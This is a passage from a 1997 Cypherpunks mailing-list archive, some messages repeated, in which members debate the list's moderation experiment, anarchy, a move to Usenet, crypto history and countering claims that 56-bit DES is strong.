Y/KINK0yk2ylBVUM7OtL+nfSis6dQ09t+Y5WhgQcaYE8rUaYYS+qxmaJdsqg2X92 L/ISf363fPzD8KvvP+3+xQBv5r5VBnSFahAhhT4NmArOdeLEc5tGl4GCt09gDjdI y9iVNcrNxFk= =nu7P -----END PGP SIGNATURE----- From nobody at squirrel.owl.de Tue Feb 4 15:19:55 1997 From: nobody at squirrel.owl.de (Secret Squirrel) Date: Tue, 4 Feb 1997 15:19:55 -0800 (PST) Subject: Are cypher punks capable? Message-ID: <199702042319.PAA07553@toad.com> Against Moderation wrote: > In general, unsubscribing and resubscribing to a mailing list is not > completely trivial. Do you think that a cypher punk is not able to solve these problems? From die at pig.die.com Tue Feb 4 15:19:55 1997 From: die at pig.die.com (Dave Emery) Date: Tue, 4 Feb 1997 15:19:55 -0800 (PST) Subject: BA Crypto Machine Photos (fwd) Message-ID: <199702042319.PAA07554@toad.com> Forwarded message: From attila at primenet.com Tue Feb 4 15:20:20 1997 From: attila at primenet.com (Attila T. Hun) Date: Tue, 4 Feb 1997 15:20:20 -0800 (PST) Subject: John's: In anarchy -everyone responsible In-Reply-To: <199702041421.GAA27742@toad.com> Message-ID: <199702042320.QAA23879@infowest.com> -----BEGIN PGP SIGNED MESSAGE----- on or about 970204:0312 Greg Broiles said: + Are mailing lists an example of "public goods" where private + ownership is impossible, or should be avoided? ... yes, there is a requirement, even in a libertarian society, let alone an anarchic society, for cooperation in the *commonweal[th]*. in otherwords, is there even such a social state as true anarchy? (given the residents of planet earth, I doubt it.) + Is the desire for an anarchic community at odds with a desire for + good use of resources? the individual desire for anarchy must exclude common human "pride" and greed. true anarchy is poorly defined and understood by most advocates. the absolute need for common resources negates anarchy in the popularly defined "description" of anarchy, solely because the issue of community "responsibility" is in opposition to the perceived: 'I can do anything I want.' In a "popular" anarchy, Jim Bell's assassination politics make perfectly good sense; but, a "popular" anarchy is not an _anarchy_. on or about 970204:0621 John Gilmore said: + In an anarchy, *everyone* is responsible; + nothing is "somebody else's job". Bingo! John's statement is the absolute bottom line! e.g.- if you are walking down the street with thousands of other people and you see a piece of trash (which obviously was tossed by an obviously imperfect anarchist), _you_ pick the trash up and place it in a waste container. _you_ -not someone else who is shirking _their_ common responsibility. anarchy is _not_ living on a desert island surrounded by piles of McDonald's wrappers and empty coke cans. that is an individual who elected to "escape" both society and {him,her}self. anarchy is only possible in an ideal world where _everyone_ assumes not only responsibility for themselves, but for the common good. no malice, no greed, no need for assassination politics.... John's quote from Booker T. is precisely the point: ...now that they were in actual possession of it, freedom was a more serious thing than they had expected to find it. or maybe Bobbie McGee: "freedom is just nothing else to lose..." (BTW, written by a Rhodes Scholar) -- attila out (for the moment) -----BEGIN PGP SIGNATURE----- Version: 2.6.3i Charset: latin1 Comment: No safety this side of the grave. Never was; never will be iQCVAwUBMvfD1b04kQrCC2kFAQGCRAP/TFNkLEtSKhEzksBCeT4r1pfZnIgwHkZz QtlfSo8dKcQMBXJcdfJ58dklisFrolyLApcEYFO5E+v6XPH+SFe+DOOoMgGNfj1v 3qnL49ol2s34ioaJG3BFqy6JOJmL7eom0PleQrGWzko8mGM99dRBVgCRCLZMmWk8 4Uaqs5Ztkbw= =112P -----END PGP SIGNATURE----- From ichudov at algebra.com Tue Feb 4 15:20:47 1997 From: ichudov at algebra.com (ichudov at algebra.com) Date: Tue, 4 Feb 1997 15:20:47 -0800 (PST) Subject: Dissolving Choke Points Message-ID: <199702042320.PAA07578@toad.com> E. Allen Smith wrote: > > Hmm... since both you and Bill Stewart are pointing out various > advantageous things about Usenet, I may need to retract my previous statement > that mail fitering is better. You were right initially, I agree that mail filtering has better tools than news filtering (if you use Unix). Procmail can do absolutely any filtering, unlike most news readers. - Igor. From jproc at bellglobal.com Tue Feb 4 15:20:51 1997 From: jproc at bellglobal.com (jproc at bellglobal.com) Date: Tue, 4 Feb 1997 15:20:51 -0800 (PST) Subject: BA Crypto Machine Photos Message-ID: <199702042320.PAA07586@toad.com> Dear BA'ers, Recently, I acquired some BA crypto machine photos courtesy of the Canadian Security Establishment. If anyone wants full size, selected, JPEG copies of these photos, please let me know and I can send them as attached files to E-mail. As a reminder, there are two stories beginning with the same file name in the BA archives which accompany the photos. KL7.JPG Colour 108 kbytes KWR37.JPG B & W 51 kbytes BTW, does anyone know the meaning of 'order wire mode' in the context of a crypto broadcast? This mode is found in the KWR-37 online crypto receiver. Please send all photo requests or responses via private E-mail. Regards, ------------------------------------- Jerry Proc VE3FAB E-mail: jproc at bellglobal.com HMCS Haida Naval Museum Toronto, Ontario 'Looking for a 'AN/SRC-501' ------------------------------------- From dave at kachina.jetcafe.org Tue Feb 4 15:20:58 1997 From: dave at kachina.jetcafe.org (Dave Hayes) Date: Tue, 4 Feb 1997 15:20:58 -0800 (PST) Subject: My Departure, Moderation, and "Ownership of the List" Message-ID: <199702042320.PAA07601@toad.com> Steve Boursey writes: > Well EFF itself is a lie--the were very well exposed by Wired Mag. a > while back as being nothing more than a corporate whore. They represent > the interests of owners not consumers--the ACLU has been very open > in their critisism of the EFF in this regard. A large corporation > waves some money in front of their noses and tells them to bend > over you can be sure they'll bend over. It's not clear from where I sit that the EFF is intrinsically evil. A case can be argued for their initial good intentions followed by the subsequent poisoning of this intent by people with lots of money. Of course, -any- organization is as susceptable to infiltration as their weakest member. > Respectable free speech advocates do not associate with EFF. If one is going to advocate free speech, I strongly suggest one learns to deal with one's own greed and one's own need for power first. ------ Dave Hayes - Altadena CA, USA - dave at jetcafe.org Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet You possess only what will not be lost in a shipwreck. From EALLENSMITH at ocelot.Rutgers.EDU Tue Feb 4 15:21:01 1997 From: EALLENSMITH at ocelot.Rutgers.EDU (E. Allen Smith) Date: Tue, 4 Feb 1997 15:21:01 -0800 (PST) Subject: Dissolving Choke Points Message-ID: <199702042321.PAA07602@toad.com> From: IN%"gbroiles at netbox.com" "Greg Broiles" 4-FEB-1997 14:55:18.91 >But my impression is that many moderation opponents would also be opponents >of a move to Usenet. Perhaps I'm wrong. But Usenet offers precisely what many >people claim we must have for the list to be viable, e.g., >uncontrolled/uncontrollable distribution and messaging. So I'm curious about >whether or not the proponents of an open, uncontrolled list really want it to >be *that* open and uncontrolled. In the past, there's been strong opposition >to that. But it's possible that most of the people who had strong feelings >about not wanting to be subjected to the downside of Usenet have already left >the list. >(And if the current opponents of moderation don't want to see the list be >quite that open, I think what we're arguing about here is not "censorship v. >no censorship" but "what degree of censorship do we want? one lump, or two?", >which pretty much eliminates anyone's claim to have a moral high ground from >which to argue.) Umm... there's a difference. Moderation is control by a _person_; not moving to Usenet is control by nobody except how things happen to be set up. >The good side I see to a move to Usenet is that it lets people use the >comparatively better tools for managing messages - e.g., NoCeM, threading, nn >(whose killfiles will kill by thread, author, regexp, and can be time limited >so you can easily give annoying people a 30-day 'timeout' and see if they're >still a kook later on), AltaVista and DejaNews archiving/searching, and >server architecture that's designed to cope with storing/indexing many >messages. Hmm... since both you and Bill Stewart are pointing out various advantageous things about Usenet, I may need to retract my previous statement that mail fitering is better. On the other hand, other people have mentioned the susceptibility of email to write-your-own filtering and other processing. (For instance, I've got a project that needs cypherpunks (and other controversial groups) to be on mailing lists instead of (or at least as well as) news servers to work right.) Is there a full-scale equivalent of procmail for Usenet, including functions like shunting messages to programs et al? >The down side is that Usenet is more or less a sewer these days, and some of >it's bound to spill over. Quite. -Allen From whgiii at amaranth.com Tue Feb 4 15:25:53 1997 From: whgiii at amaranth.com (William H. Geiger III) Date: Tue, 4 Feb 1997 15:25:53 -0800 (PST) Subject: New X-Ray Imager Message-ID: <199702042325.PAA07697@toad.com> -----BEGIN PGP SIGNED MESSAGE----- In <199702041941.LAA04346 at toad.com>, on 02/04/97 at 01:19 PM, ichudov at algebra.com said: >Lucky Green wrote: >> At 10:38 AM 2/4/97 -0500, Adam Shostack wrote: >> >| A poll last week by the Los Angeles Times found that a majority of >> people -- >> >| 58 percent -- said they would curtail some civil liberties if it would help >> >| thwart terrorism. Thirteen percent said it would depend on what rights were >> >| at stake. The poll didn't ask people to single out any rights. >> > >> > Its worth noting the 'if it would help thwart terrorism.' >> >> It is irrelevant if terrorism is indeed be thwarted. The public does not >> require this to happen. All that matters is to generate the *perception* of >> increased security, not to increase security itself. >Let's remember though that perception of security applies not only to >passengers, but also to potential terrorists. If they *think* that they >would not be able to bring a bomb easily, they would be less inclined to >do so. Not really, The thin vail of "security" that the goverment provides may be good enough to give warm-fuzzies to the avarage sheep, ...er citizen, but the potential terrorists will see it for what it is. - -- - ----------------------------------------------------------- William H. Geiger III http://www.amaranth.com/~whgiii Geiger Consulting Cooking With Warp 4.0 Author of E-Secure - PGP Front End for MR/2 Ice PGP & MR/2 the only way for secure e-mail. Finger whgiii at amaranth.com for PGP Key and other info - ----------------------------------------------------------- Tag-O-Matic: OS/2...Opens up Windows, shuts up Gates. -----BEGIN PGP SIGNATURE----- Version: 2.6.2 Comment: Registered User E-Secure v1.1 0000000 iQCVAwUBMve/So9Co1n+aLhhAQFZqQQAkIt/8pUqBWagohj2GkbpnFBKOqAkziqk Y/KINK0yk2ylBVUM7OtL+nfSis6dQ09t+Y5WhgQcaYE8rUaYYS+qxmaJdsqg2X92 L/ISf363fPzD8KvvP+3+xQBv5r5VBnSFahAhhT4NmArOdeLEc5tGl4GCt09gDjdI y9iVNcrNxFk= =nu7P -----END PGP SIGNATURE----- From declan at pathfinder.com Tue Feb 4 15:40:51 1997 From: declan at pathfinder.com (Declan McCullagh) Date: Tue, 4 Feb 1997 15:40:51 -0800 (PST) Subject: Moderation [Tim,Sandy] In-Reply-To: <199702040158.RAA09697@toad.com> Message-ID: Adam writes: >The problem with censorship or moderation is that it waters down the >absolutism of free speech. Free speech in electronic media, with >cypherpunks type I, and type II remailers, is the closest thing to >truly free speech yet. I agree and disagree. Moderation often *increases* the value of speech. The Wall Street Journal, or Time Magazine, or the JAMA have strict policies regarding what information they print; these policies increase the publication's value. Moderation is not necessarily censorship. Would you criticize the National Coalition Against Censorship for not including in their newsletter (to which I subscribe) off-topic rants by Jesse Helms? What Vulis and the rest (whom I killfiled long ago) have done is polluted a common resource, making it unusable for the rest. It's the tragedy of the commons. When all can speak without limit in a public forum, the drunken boor can shout everyone else down. -Declan ------------------------- The Netly News Network Washington Correspondent http://netlynews.com/ From declan at pathfinder.com Tue Feb 4 15:40:58 1997 From: declan at pathfinder.com (Declan McCullagh) Date: Tue, 4 Feb 1997 15:40:58 -0800 (PST) Subject: concerning Ben Franklin In-Reply-To: <199702032358.PAA06548@toad.com> Message-ID: This is one of the point that I address in my article in the February 1997 issue of "Internet Underground" magazine (to which I am a contributing editor). Here's an excerpt, since the magazine is just starting to hit the stands. --- The debate swirling through Capitol Hill conference rooms and the corridors of the White House revolves around one basic question: What role should the government play in regulating encryption? The founding fathers might be startled by the byzantine rules. After all, some revolutionaries were cryptographers themselves. Benjamin Franklin in 1781 crafted a substitution cipher based on a 682-character French phrase. James Madison created a code replacing words with two- and three-digit numbers that he used until 1793. But by far the most remarkable cryptologist of the Revolutionary War was the author of the Declaration of Independence, Thomas Jefferson, who between 1790 and 1800 invented a cipher system so far ahead of its time that it remained in use even into the late 20th century. --- The Codebreakers is also a good source. -Declan >I was reading one of the posts in the thread reguarding sone stolen object >in Miami, the one reffering to the locks of the boxes, and it got me thinking. >Ben Franklin was a revolutionary, scientist, inventor, publisher, statesman, >and bookburner (according to F451). Perhaps he should be considered to be a >cypherpunk, not that he necessarily knew anything about crypto, but because >he was interested in many of the same ideals. It is my belief that were he >alive today, he would be on this list. If the work of fiction referred to >above, and in another recent post, is accurate in its reference to Franklin, >then he would seem to have had the same solution to net pollution, burn it. >Rather than considering Ben Franklin the first fireman, I would like to >think of him as an early breed of cypherpunk. By this I consider cypherpunk >to be interested in the subject, and its outcome, and a cryptographer to be >just one faction of cypherpunk. Merely my opinion. >Does anyone know whether or not Mr. Franklin may have played with code as >well? All of my sources were assimilated into my understanding of the man >several years ago, and at the time crypto was less in the public eye than it >is now. ------------------------- The Netly News Network Washington Correspondent http://netlynews.com/ From aba at dcs.ex.ac.uk Tue Feb 4 15:55:16 1997 From: aba at dcs.ex.ac.uk (Adam Back) Date: Tue, 4 Feb 1997 15:55:16 -0800 (PST) Subject: "alt.cypherpunks" people? Message-ID: <199702042236.WAA00552@server.test.net> John Gilmore urges action, or piping down... well lets start with discussion of whether one possible action is appropriate, and useful (piping down is not an option:-): What do people think of starting an alt.cypherpunks USENET newsgroup? It has some advantages: 1. It distributes the cost of information dispersal, rather than largely placeing the load on a single machine. 2. Newsreading software typically includes threading, which is useful 3. It avoids the issue of ownership, it is more anarchic. There is no list or host owner to get prosecuted for copyright violations, export law violations, libel etc. 4. Automatically gets archived several places, and is searchable 5. It will be unmoderated And some disadvantages... 1. Cross-posting in USENET is a problem, especially in alt newsgroups 2. Commercial spam is a problem with newsgroups 3. USENET distribution is likely less efficient of overall bandwidth 4. News propogation times are often poor (Exeter univ. receives news about a week late) This is a real killer in my view. I have another news server I can access at the moment, but not everyone may have access to a reasonable news server. 5. News access is more complex for some people. Some alt newsgroups are not carried by some servers. Perhaps news-to-mail and mail-to-news gateway would solve these problems. 6. Some have argued in the past on this topic that the mailing list medium is better because it is more exclusive, as it requires more technical competence, and an active enough interest to subscribe. This is an elitist argument. Perhaps it is relevant though, if we are trying to maintain a mailing list where technical discussions on how to improve privacy are to take place. I wouldn't call this attitude censorship though. My overall feeling is that I prefer the faster turn around time of a mailing list. When interesting things were/are happening on the list (netscape break, late breaking crypto news, and cypherpunks spin on it), the fast turn around time was essential. Being able to react quickly to news items, and to organise technical projects rapidly is one of the cypherpunks main advantages and attractions from my point of view. My view of moderation is that it is a huge amount of work for the moderator, that it is hypocritical philosophically (we promote anarchy, but in order to effectively promote anarchy, we reject anarchy), that it breeds artificial social hierarchys, rather than allowing posts and posters reputations to stand on their own merit. I was happier with the strength of the philsophical standing of the list prior to moderation. Moderation hasn't improved the noise much anyway. Readers who have been reading for several years may understandably wish to recapture the stimulating discourses, and lively community feel to the list from the past. Lists change, cypherpunks is a victim of it's own success, media attention increased public awareness, increased number of subscribers, and at the same time increased the proportion of noisy off-topic posts. Unfortunately the success of the list, and the noise has resulted in some of those people who kept it interesting leaving the list. Coderpunks is a reasonable list, I'm not sure that it is moderated as such, but if you breach etiquette (discussion of politics, even when perpetrated by respected cryptographers, or by people discussing the implications of breaking DES, rather than the strict coding questions) they get Futplex-grams, which I find slightly annoying. Cryptography at c2.net is again reasonable, and gained back some of the original people who quit cypherpunks over the years due to noise. Cryptography is moderated. (Or is moderated when Perry thinks it would benefit from moderation, so that may change). Perhaps some of the lack of stimulating discussion is simply that the ideas are no longer hot new ideas. Most of the interesting technology and it's implications have been discussed. What's left is attempting to stop government restrictions and backdoors, and deploying the many complex peices of software for which there exists uses and demands. Adam -- print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<> )]}\EsMsKsN0[lN*1lK[d2%Sa2/d0 Message-ID: <199702042348.XAA00577@server.test.net> The gist of your post seems to be saying that: - yes, the result it is not purely anarchic - the moderation experiment intentionally moderated the main list by design - this is perhaps slightly at odds with cypherpunks philosphy on freedom but that this is necessary because: - cypherpunks larger goals are more important - cypherpunks goals are better served by having a lower noise environment to work in - create that environment by any means possible (ends justify the means) - people weren't being responsible with their freedom anyway - it's only an experiment - if you don't like this and complain you're part of the problem Now it may seem nit-picking to a pragmatist, which is the way you presented your arguments, but the idea that cypherpunks should stoop to moderation/censorship calls into question what cypherpunks larger goals are. Why? Because we promote electronic freedom, but in order to effectively organise the promotion of freedom, we reject full freedom of speech as unworkable, and impose restrictions. This lends ammunition to our opponents. "See even they realise there must be limits to free speech". Cypherpunks main goal is: "to promote privacy and freedom through technological means" and arising from this goal, are presumed philosphical stances: - privacy and freedom are a good thing (unconditional free speech is a good thing) - censorship is a bad thing - government retrictions and backdoors in crypto are a bad thing (crypto providing practical privacy, and practical free speech being provided by cryptographically enabled anonymity) - chaumian credentials are preferable to fully traceable credentials - etc. etc. So the question to me boils down to is unconditional free speech a good thing? Dorothy Denning says no. Louis Freeh says no. The Clinton administration says no. I thought you said yes. I thought most of your actions for the last 10 years screamed yes! Why cut corners for little gain? Another moderated list with official sanction (hosted by toad.com, with your commendation that people subscribe to it (to reduce noise and increase productivity), with instructions in the sign on message listing the moderated/filtered lists available, clearly stating the filtering policy, regularly posted instructions on available filtered lists to cypherpunks) would have been beautiful. Fine. Lovely. But you set up moderation of _the_ list, with no interaction required by the subscriber. That caused Tim to unsubscribe. It's causing me, and others to argue for this aspect of the moderation to be reversed ASAP. > PS: Can we talk about crypto too? It's clear from the last few days > of press releases that the pro-GAK forces are again working to confuse > novices into thinking that two very different things are the same > thing. Last time it was "public key infrastructure" and "key > recovery". This time it's "strong crypto" and "56-bit DES". What > should we do about this? Educate the public? Education, and countering government news-speak seems to be the key issues at the moment. Educate the journalist that perpetuated the pro-GAK lie. Write an article to the same publication pointing out the fallacy (unfortunately as these are private presses they are `moderated', so you may not get your say). Buy the advert space if they won't publish. I'll contribute. Distribute strong crypto (you are personally, the ipsec S/WAN initiative is important). I'm working on creating and distributing strong crypto, and influencing sectors of users to use strong crypto, rather than export crippled US stuff. The myth that 56 bits is strong is perpetuated by journalists outside the US too. The export situation is complex, many user groups (even IT managers) don't understand. They don't understand the meaning of key strengths either. Break DES to demonstrate it's weakness. May happen in the next 1/2 year. Gets free publicity. People aren't saying 40 bits are secure anymore. Cypherpunks acheived that. Hope that Matt Blaze goes ahead with his hardware DES breaker. He said some time ago that he had spare funding and was considering using it for this purpose. Anyone know the state of play? This would be more important as it would quantify the costs, and would be much more impressive, and realistic for an estimate of the strength of DES against industrial espionage or well funded criminal attack. Adam -- print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<> )]}\EsMsKsN0[lN*1lK[d2%Sa2/d0 Message-ID: Steve writes: >Democracy is not without its significant shortcomings. If you doubt this >read Tocquevelle. Or Hayek. Democracy, after all, is majoritarian rule. Living under a homogenous majority, with its whims and desires as law, would be more oppressive than living under a benign dictatorship. -Declan ------------------------- The Netly News Network Washington Correspondent http://netlynews.com/ From aaron at herringn.com Tue Feb 4 15:58:22 1997 From: aaron at herringn.com (aaron at herringn.com) Date: Tue, 4 Feb 1997 15:58:22 -0800 (PST) Subject: Moderation, Tim, Sandy, me, etc. * Strong crypto == DES?! In-Reply-To: <199702041456.GAA28779@toad.com> Message-ID: >I'm glad we're talking about some of the real issues here. > >Tim May said: >> I don't want Sandy Sandfort sitting in judgment on my >> posts, deciding what the Cypherpunks--a group I co-founded for God's >> sake!!!!--are to be allowed to read and what they may not. > >Tim, the Cypherpunks have chosen to follow Sandy's lead for this >month. I'll admit I made it easy for them, but the results are >conclusive. There are 1311 addresses in the cypherpunks list today; >42 in the unedited list; and 19 in the flames list. Forty people >cared enough to read every posting; the other thousand either wanted >to try the experiment -- or didn't care enough to send an email >message. Which, as we all know, is a very low threshold. [huge snip] If I might make a suggestion: Some people want moderation. That's fine, I've never been very big on letting other people choose what I read, but some people want it. For those who want it, let someone moderate the list for as long as they care to do it. Approved messages get a "X-sandy-approved" header. The responsibility for setting up a filter to toss everything that doesn't have the header is the responsibility of the end user. Toad will need to filter incoming posts to make sure they don't come "pre-approved", but that's the only hole I can think of. Everyone gets all of the Cypherpunks list. Those who want moderation filter the unapproved posts, those who want all of it get all of it. Hopefully, this will make (almost) everyone happy. From declan at well.com Tue Feb 4 16:27:11 1997 From: declan at well.com (Declan McCullagh) Date: Tue, 4 Feb 1997 16:27:11 -0800 (PST) Subject: Govt & cyberspace Message-ID: <199702050027.QAA08736@toad.com> Steve writes: >Democracy is not without its significant shortcomings. If you doubt this >read Tocquevelle. Or Hayek. Democracy, after all, is majoritarian rule. Living under a homogenous majority, with its whims and desires as law, would be more oppressive than living under a benign dictatorship. -Declan ------------------------- The Netly News Network Washington Correspondent http://netlynews.com/ From declan at pathfinder.com Tue Feb 4 16:27:38 1997 From: declan at pathfinder.com (Declan McCullagh) Date: Tue, 4 Feb 1997 16:27:38 -0800 (PST) Subject: Moderation [Tim,Sandy] Message-ID: <199702050027.QAA08748@toad.com> Adam writes: >The problem with censorship or moderation is that it waters down the >absolutism of free speech. Free speech in electronic media, with >cypherpunks type I, and type II remailers, is the closest thing to >truly free speech yet. I agree and disagree. Moderation often *increases* the value of speech. The Wall Street Journal, or Time Magazine, or the JAMA have strict policies regarding what information they print; these policies increase the publication's value. Moderation is not necessarily censorship. Would you criticize the National Coalition Against Censorship for not including in their newsletter (to which I subscribe) off-topic rants by Jesse Helms? What Vulis and the rest (whom I killfiled long ago) have done is polluted a common resource, making it unusable for the rest. It's the tragedy of the commons. When all can speak without limit in a public forum, the drunken boor can shout everyone else down. -Declan ------------------------- The Netly News Network Washington Correspondent http://netlynews.com/ From aaron at herringn.com Tue Feb 4 16:27:54 1997 From: aaron at herringn.com (aaron at herringn.com) Date: Tue, 4 Feb 1997 16:27:54 -0800 (PST) Subject: Moderation, Tim, Sandy, me, etc. * Strong crypto == DES?! Message-ID: <199702050027.QAA08784@toad.com> >I'm glad we're talking about some of the real issues here. > >Tim May said: >> I don't want Sandy Sandfort sitting in judgment on my >> posts, deciding what the Cypherpunks--a group I co-founded for God's >> sake!!!!--are to be allowed to read and what they may not. > >Tim, the Cypherpunks have chosen to follow Sandy's lead for this >month. I'll admit I made it easy for them, but the results are >conclusive. There are 1311 addresses in the cypherpunks list today; >42 in the unedited list; and 19 in the flames list. Forty people >cared enough to read every posting; the other thousand either wanted >to try the experiment -- or didn't care enough to send an email >message. Which, as we all know, is a very low threshold. [huge snip] If I might make a suggestion: Some people want moderation. That's fine, I've never been very big on letting other people choose what I read, but some people want it. For those who want it, let someone moderate the list for as long as they care to do it. Approved messages get a "X-sandy-approved" header. The responsibility for setting up a filter to toss everything that doesn't have the header is the responsibility of the end user. Toad will need to filter incoming posts to make sure they don't come "pre-approved", but that's the only hole I can think of. Everyone gets all of the Cypherpunks list. Those who want moderation filter the unapproved posts, those who want all of it get all of it. Hopefully, this will make (almost) everyone happy. From declan at pathfinder.com Tue Feb 4 16:27:58 1997 From: declan at pathfinder.com (Declan McCullagh) Date: Tue, 4 Feb 1997 16:27:58 -0800 (PST) Subject: concerning Ben Franklin Message-ID: <199702050027.QAA08786@toad.com> This is one of the point that I address in my article in the February 1997 issue of "Internet Underground" magazine (to which I am a contributing editor). Here's an excerpt, since the magazine is just starting to hit the stands. --- The debate swirling through Capitol Hill conference rooms and the corridors of the White House revolves around one basic question: What role should the government play in regulating encryption? The founding fathers might be startled by the byzantine rules. After all, some revolutionaries were cryptographers themselves. Benjamin Franklin in 1781 crafted a substitution cipher based on a 682-character French phrase. James Madison created a code replacing words with two- and three-digit numbers that he used until 1793. But by far the most remarkable cryptologist of the Revolutionary War was the author of the Declaration of Independence, Thomas Jefferson, who between 1790 and 1800 invented a cipher system so far ahead of its time that it remained in use even into the late 20th century. --- The Codebreakers is also a good source. -Declan >I was reading one of the posts in the thread reguarding sone stolen object >in Miami, the one reffering to the locks of the boxes, and it got me thinking. >Ben Franklin was a revolutionary, scientist, inventor, publisher, statesman, >and bookburner (according to F451). Perhaps he should be considered to be a >cypherpunk, not that he necessarily knew anything about crypto, but because >he was interested in many of the same ideals. It is my belief that were he >alive today, he would be on this list. If the work of fiction referred to >above, and in another recent post, is accurate in its reference to Franklin, >then he would seem to have had the same solution to net pollution, burn it. >Rather than considering Ben Franklin the first fireman, I would like to >think of him as an early breed of cypherpunk. By this I consider cypherpunk >to be interested in the subject, and its outcome, and a cryptographer to be >just one faction of cypherpunk. Merely my opinion. >Does anyone know whether or not Mr. Franklin may have played with code as >well? All of my sources were assimilated into my understanding of the man >several years ago, and at the time crypto was less in the public eye than it >is now. ------------------------- The Netly News Network Washington Correspondent http://netlynews.com/ From attila at primenet.com Tue Feb 4 16:28:01 1997 From: attila at primenet.com (Attila T. Hun) Date: Tue, 4 Feb 1997 16:28:01 -0800 (PST) Subject: John's: In anarchy -everyone responsible Message-ID: <199702050028.QAA08787@toad.com> -----BEGIN PGP SIGNED MESSAGE----- on or about 970204:0312 Greg Broiles said: + Are mailing lists an example of "public goods" where private + ownership is impossible, or should be avoided? ... yes, there is a requirement, even in a libertarian society, let alone an anarchic society, for cooperation in the *commonweal[th]*. in otherwords, is there even such a social state as true anarchy? (given the residents of planet earth, I doubt it.) + Is the desire for an anarchic community at odds with a desire for + good use of resources? the individual desire for anarchy must exclude common human "pride" and greed. true anarchy is poorly defined and understood by most advocates. the absolute need for common resources negates anarchy in the popularly defined "description" of anarchy, solely because the issue of community "responsibility" is in opposition to the perceived: 'I can do anything I want.' In a "popular" anarchy, Jim Bell's assassination politics make perfectly good sense; but, a "popular" anarchy is not an _anarchy_. on or about 970204:0621 John Gilmore said: + In an anarchy, *everyone* is responsible; + nothing is "somebody else's job". Bingo! John's statement is the absolute bottom line! e.g.- if you are walking down the street with thousands of other people and you see a piece of trash (which obviously was tossed by an obviously imperfect anarchist), _you_ pick the trash up and place it in a waste container. _you_ -not someone else who is shirking _their_ common responsibility. anarchy is _not_ living on a desert island surrounded by piles of McDonald's wrappers and empty coke cans. that is an individual who elected to "escape" both society and {him,her}self. anarchy is only possible in an ideal world where _everyone_ assumes not only responsibility for themselves, but for the common good. no malice, no greed, no need for assassination politics.... John's quote from Booker T. is precisely the point: ...now that they were in actual possession of it, freedom was a more serious thing than they had expected to find it. or maybe Bobbie McGee: "freedom is just nothing else to lose..." (BTW, written by a Rhodes Scholar) -- attila out (for the moment) -----BEGIN PGP SIGNATURE----- Version: 2.6.3i Charset: latin1 Comment: No safety this side of the grave. Never was; never will be iQCVAwUBMvfD1b04kQrCC2kFAQGCRAP/TFNkLEtSKhEzksBCeT4r1pfZnIgwHkZz QtlfSo8dKcQMBXJcdfJ58dklisFrolyLApcEYFO5E+v6XPH+SFe+DOOoMgGNfj1v 3qnL49ol2s34ioaJG3BFqy6JOJmL7eom0PleQrGWzko8mGM99dRBVgCRCLZMmWk8 4Uaqs5Ztkbw= =112P -----END PGP SIGNATURE----- From aba at dcs.ex.ac.uk Tue Feb 4 16:28:04 1997 From: aba at dcs.ex.ac.uk (Adam Back) Date: Tue, 4 Feb 1997 16:28:04 -0800 (PST) Subject: Moderation, Tim, Sandy, me, etc. * Strong crypto == DES?! Message-ID: <199702050028.QAA08788@toad.com> The gist of your post seems to be saying that: - yes, the result it is not purely anarchic - the moderation experiment intentionally moderated the main list by design - this is perhaps slightly at odds with cypherpunks philosphy on freedom but that this is necessary because: - cypherpunks larger goals are more important - cypherpunks goals are better served by having a lower noise environment to work in - create that environment by any means possible (ends justify the means) - people weren't being responsible with their freedom anyway - it's only an experiment - if you don't like this and complain you're part of the problem Now it may seem nit-picking to a pragmatist, which is the way you presented your arguments, but the idea that cypherpunks should stoop to moderation/censorship calls into question what cypherpunks larger goals are. Why? Because we promote electronic freedom, but in order to effectively organise the promotion of freedom, we reject full freedom of speech as unworkable, and impose restrictions. This lends ammunition to our opponents. "See even they realise there must be limits to free speech". Cypherpunks main goal is: "to promote privacy and freedom through technological means" and arising from this goal, are presumed philosphical stances: - privacy and freedom are a good thing (unconditional free speech is a good thing) - censorship is a bad thing - government retrictions and backdoors in crypto are a bad thing (crypto providing practical privacy, and practical free speech being provided by cryptographically enabled anonymity) - chaumian credentials are preferable to fully traceable credentials - etc. etc. So the question to me boils down to is unconditional free speech a good thing? Dorothy Denning says no. Louis Freeh says no. The Clinton administration says no. I thought you said yes. I thought most of your actions for the last 10 years screamed yes! Why cut corners for little gain? Another moderated list with official sanction (hosted by toad.com, with your commendation that people subscribe to it (to reduce noise and increase productivity), with instructions in the sign on message listing the moderated/filtered lists available, clearly stating the filtering policy, regularly posted instructions on available filtered lists to cypherpunks) would have been beautiful. Fine. Lovely. But you set up moderation of _the_ list, with no interaction required by the subscriber. That caused Tim to unsubscribe. It's causing me, and others to argue for this aspect of the moderation to be reversed ASAP. > PS: Can we talk about crypto too? It's clear from the last few days > of press releases that the pro-GAK forces are again working to confuse > novices into thinking that two very different things are the same > thing. Last time it was "public key infrastructure" and "key > recovery". This time it's "strong crypto" and "56-bit DES". What > should we do about this? Educate the public? Education, and countering government news-speak seems to be the key issues at the moment. Educate the journalist that perpetuated the pro-GAK lie. Write an article to the same publication pointing out the fallacy (unfortunately as these are private presses they are `moderated', so you may not get your say). Buy the advert space if they won't publish. I'll contribute. Distribute strong crypto (you are personally, the ipsec S/WAN initiative is important). I'm working on creating and distributing strong crypto, and influencing sectors of users to use strong crypto, rather than export crippled US stuff. The myth that 56 bits is strong is perpetuated by journalists outside the US too. The export situation is complex, many user groups (even IT managers) don't understand. They don't understand the meaning of key strengths either. Break DES to demonstrate it's weakness. May happen in the next 1/2 year. Gets free publicity. People aren't saying 40 bits are secure anymore. Cypherpunks acheived that. Hope that Matt Blaze goes ahead with his hardware DES breaker. He said some time ago that he had spare funding and was considering using it for this purpose. Anyone know the state of play? This would be more important as it would quantify the costs, and would be much more impressive, and realistic for an estimate of the strength of DES against industrial espionage or well funded criminal attack. Adam -- print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<> )]}\EsMsKsN0[lN*1lK[d2%Sa2/d0 John Gilmore urges action, or piping down... well lets start with discussion of whether one possible action is appropriate, and useful (piping down is not an option:-): What do people think of starting an alt.cypherpunks USENET newsgroup? It has some advantages: 1. It distributes the cost of information dispersal, rather than largely placeing the load on a single machine. 2. Newsreading software typically includes threading, which is useful 3. It avoids the issue of ownership, it is more anarchic. There is no list or host owner to get prosecuted for copyright violations, export law violations, libel etc. 4. Automatically 